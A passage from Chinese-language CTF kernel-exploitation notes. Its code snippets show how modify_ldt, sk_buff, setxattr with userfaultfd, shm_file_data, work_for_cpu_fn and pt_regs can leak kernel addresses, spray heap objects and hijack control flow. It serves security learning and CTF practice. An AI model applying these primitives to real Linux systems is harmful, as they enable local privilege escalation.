1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 #define SECONDARY_STARTUP_64 0xffffffff81000060 struct user_desc desc ; uint64_t page_offset_base; uint64_t secondary_startup_64; uint64_t kernel_base = 0xffffffff81000000 , kernel_offset; uint64_t search_addr, result_addr = -1 ; uint64_t temp; char *buf; int pipe_fd[2 ]; desc.base_addr = 0xff0000 ; desc.entry_number = 0x8000 / 8 ; desc.limit = 0 ; desc.seg_32bit = 0 ; desc.contents = 0 ; desc.limit_in_pages = 0 ; desc.lm = 0 ; desc.read_exec_only = 0 ; desc.seg_not_present = 0 ; desc.useable = 0 ; syscall(SYS_modify_ldt, 1 , &desc, sizeof (desc)); while (1 ) { retval = syscall(SYS_modify_ldt, 0 , &temp, 8 ); if (retval > 0 ) { printf ("[-] read data: %llx\n" , temp); break ; } else if (retval == 0 ) { err_exit("no mm->context.ldt!" ); } page_offset_base += 0x1000000 ; } printf ("\033[32m\033[1m[+] Found page_offset_base: \033[0m%lx\n" , page_offset_base); syscall(SYS_modify_ldt, 0 , &secondary_startup_64, 8 ); kernel_offset = secondary_startup_64 - SECONDARY_STARTUP_64; kernel_base += kernel_offset; printf ("\033[34m\033[1m[*]Get addr of secondary_startup_64: \033[0m%lx\n" , secondary_startup_64); printf ("\033[34m\033[1m[+] kernel_base: \033[0m%llx\n" , kernel_base); printf ("\033[34m\033[1m[+] kernel_offset: \033[0m%llx\n" , kernel_offset); pipe(pipe_fd); buf = (char *) mmap(NULL , 0x8000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0 , 0 ); while (1 ) { if (!fork()) { char *find_addr; syscall(SYS_modify_ldt, 0 , buf, 0x8000 ); find_addr = memmem(buf, 0x8000 , "arttnba3" , 8 ); if (find_addr) { result_addr = search_addr + (uint64_t )(find_addr - buf); } write(pipe_fd[1 ], &result_addr, 8 ); exit (0 ); } wait(NULL ); read(pipe_fd[0 ], &result_addr, 8 ); if (result_addr != -1 ) { break ; } search_addr += 0x8000 ; } printf ("\033[34m\033[1m[+] Obj found at addr: \033[0m%lx\n" , result_addr);
0x06. sk_buff(大于kmalloc-512的任意obj读写) __GFP_NOMEMALLOC | __GFP_NOWARN 类似于setxattr
,但sk_buff
功能更强大,但仅适用于kmalloc-512
以上的obj
。
(开启config_memcg_kmem
时,实测该obj
会与GFP_KERNEL
隔离)
功能 可以分配任意大于等于kmalloc-512
的obj
并写入内容,还可以读取内容同时free
。
sk_buff
本身是linux kernel
中网络协议栈的一个结构体。其指示一个数据包的head
、tail
等信息。其结构体本身不太可控且会从独立的slub
中分配,但它会将用户输入的内容用常规的kmalloc
分配,其大小为用户数据加上一个tail
尾部数据。由于尾部数据大小为320
字节,因此最小分配的obj
也是kmalloc-512
。
定义 使用前需要先初始化。
1 2 3 4 5 6 7 int sk_socket[2 ];int ret = socketpair(AF_UNIX, SOCK_STREAM, 0 , sk_socket);if (ret < 0 ) { err_exit("Failed to initial sk_socket." ); }
分配 & 编辑 很简单,直接write
写入用户的内容即可。
1 2 3 4 5 6 7 int ret = write(sk_socket[0 ], buf, 0x400 - 320 );if (ret < 0 ) { err_exit("Failed to send sk_buf." ); }
释放 & 读取 同样很简单,通过read
读取用户内容即可。注意这里接收数据的同时还会释放obj
。
1 2 3 4 5 int ret = read(sk_socket[1 ], buf, 0x400 - 320 );if (ret < 0 ) { err_exit("Failed to recv sk_buf." ); }
0x07. shm_file_data (kmalloc-32 | GFP_KERNEL) 属性 总结
原本是在用户态下用于进程间通信,操作共享内存
在kernel pwn
中,我们用于泄露地址和0x20
的obj
分配
分配 定义:
1 int shm_fd = shmget(IPC_PRIVATE, 0x1000 , IPC_CREAT|0666 );
随后使用shmat
系统调用来分配struct shm_file_data
结构体:
1 char * shm_ptr = shmat(shm_fd, NULL , SHM_RDONLY);
释放 使用shmdt
系统调用释放即可:
利用效果
数据泄露,包括堆地址和内核基地址
或者单纯用于分配obj
结构体 1 2 3 4 5 6 struct shm_file_data { int id; struct ipc_namespace *ns ; struct file *file ; const struct vm_operations_struct *vm_ops ; };
利用 数据泄露 - 内核基地址 struct shm_file_data
中的ns
域和vm_ops
域指向内核的.text
段,因此可以泄露内核基地址。
其中,ns
通常指向init_ipc_ns
数据泄露 - 堆地址 struct shm_file_data
中的file
域为一个file
结构体,位于direct mapping area
,也就是内核堆上,因此可以泄露内核堆地址。
劫持程序控制流 常用结构体/函数 0x00. work_for_cpu_fn函数 实际上work_for_cpu_fn
并不是结构体,只是在开启了多核支持的CPU
上 都有的一个函数。因此这里我们记录得简短一些。
1 2 3 4 5 6 7 8 9 10 11 12 13 struct work_for_cpu { struct work_struct work ; long (*fn)(void *); void *arg; long ret; }; static void work_for_cpu_fn (struct work_struct *work) { struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work); wfc->ret = wfc->fn(wfc->arg); }
可以简单理解为如下形式:
1 2 3 4 static void work_for_cpu_fn (size_t * args) { args[6 ] = ((size_t (*) (size_t )) (args[4 ](args[5 ])); }
可以看到,其将参数得第四个值作为函数,而参数的第五个值作为函数的参数执行。这让我们有简单的方式来直接执行一个带参数的函数。(要是system("/bin/sh")
或许已经拿下了)。
例如,若我们将tty_operations
中的函数指针劫持为work_for_cpu_fn
,此时函数的参数为tty_struct
。
由此,对tty_struct
执行ioctl
即可执行:
1 ((void *)tty_struct[4 ])(tty_struct[5 ]);
注意这里需要执行ioctl
。
0x01. pt_regs结构体 主要利用位于低版本:当用户代码进入内核态时,用户态寄存器的值会放在内核态的底部。因此,可以通过布置适当的寄存器值,从而使得内核态中可以根据pt_regs
结构体的值来进行rop
等操作。
定义如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 struct pt_regs { unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; unsigned long orig_rax; unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; };
若需要在CTF Linux kernel
中使用,可以使用如下板子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, 0x22222222;" "mov r12, 0x33333333;" "mov rbp, 0x44444444;" "mov rbx, 0x55555555;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, 0x88888888;" "mov r8, 0x99999999;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall" );
0x02. setxattr系统调用 GFP_KERNEL 介绍 我们可以通过如下方式进行setxattr
的系统调用:
1 2 3 #include <sys/xattr.h> setxattr("/exploit" , "username" , value, size, 0 );
其中:
第一个参数只需要指定一个存在的文件
第二个参数随便
该系统调用中, 主要有如下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static long setxattr (struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { kvalue = kvmalloc(size, GFP_KERNEL); if (!kvalue) return -ENOMEM; if (copy_from_user(kvalue, value, size)) { kvfree(kvalue); return error; }
可以看到其实现了一个任意大小的obj
申请,并且其内容也完全由我们控制!
但不幸的是,该obj
分配过后,随机就会被释放掉,导致其没有干任何事~
利用 - 实现改写obj 虽然我们编辑内容后其会被释放掉,但我们仍然可以编辑其除了freelist
的内容。
例如,若存在一个UAF
,我们可以申请一个msg_msg
结构体,并使用setxattr
来申请回来改写m_ts
实现越界数据读,或者改写next
指针实现任意地址读~
利用 - 结合userfaultfd来堆占位 setxattr
函数中有一个copy_from_user
,不难想到可以利用userfaultfd
来将其卡在这里
而如果只是卡在这里,那该函数将失去控制其内容的能力.
由此,我们可以利用堆占位技术来使得其既可以使得内容可控, 又随即让copy_from_user
不再继续往下执行.
注意:
需要让想写的结构体的内容都位于不会卡住的部分,否则结构体本身就会卡住
freelist
的pointer
也需要位于不会卡住的部分
我们申请一块连续的两页内存:
1 | memory1: size=pagesize | memory2: size=pagesize |
随后,我们为第二部分的内存,注册userfaultfd
, 使得访问到这里时直接卡住.
如图所示,我们将我们要写入的内容写到第一页的末尾,使其结束时,刚好是第二页的userfaultfd
的内容.
如此,我们即可让copy_from_user
正常执行,随后访问到缺页的内容,导致线程卡住,不会执行free
.
代码示意如下:
1 2 3 4 5 pwn_addr = mmap(NULL , 0x2000 , PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1 , 0 ); register_userfaultfd_for_thread_stucking(&monitor_setx, (void *)((size_t )pwn_addr + 0x1000 ), 0x1000 ); *(size_t *)((size_t )pwn_addr + 0x1000 - 8 ) = add_rsp_0x1f8 + kernel_offset; setxattr("/init" , "ltfall" , (char *)((size_t )pwn_addr + 0x1000 - 8 ), 0x20 , 0 );
可以看到,我们上面便申请了一个kmalloc-32
的obj
,并写入了add_rsp_0x1f8
的gadget
~
0x 属性 总结 打开方式 魔数 利用效果 结构体 利用 数据泄露 - 泄露内核基地址 劫持程序控制流 常见结构体 0x00. cred (cache: cred_jar | size=192, 0xc0) 其定义为如下形式,位于include/linux/cred.h
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 struct cred { atomic_t usage; kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; struct user_struct *user ; struct group_info *group_info ; struct key *session_keyring ; struct key *process_keyring ; struct key *thread_keyring ; struct key *request_key_auth ; #ifdef CONFIG_SECURITY void *security; #endif #ifdef CONFIG_KEYS struct key *user_keyring ; struct key *user_ns_keyring ; #endif struct rcu_head rcu ; };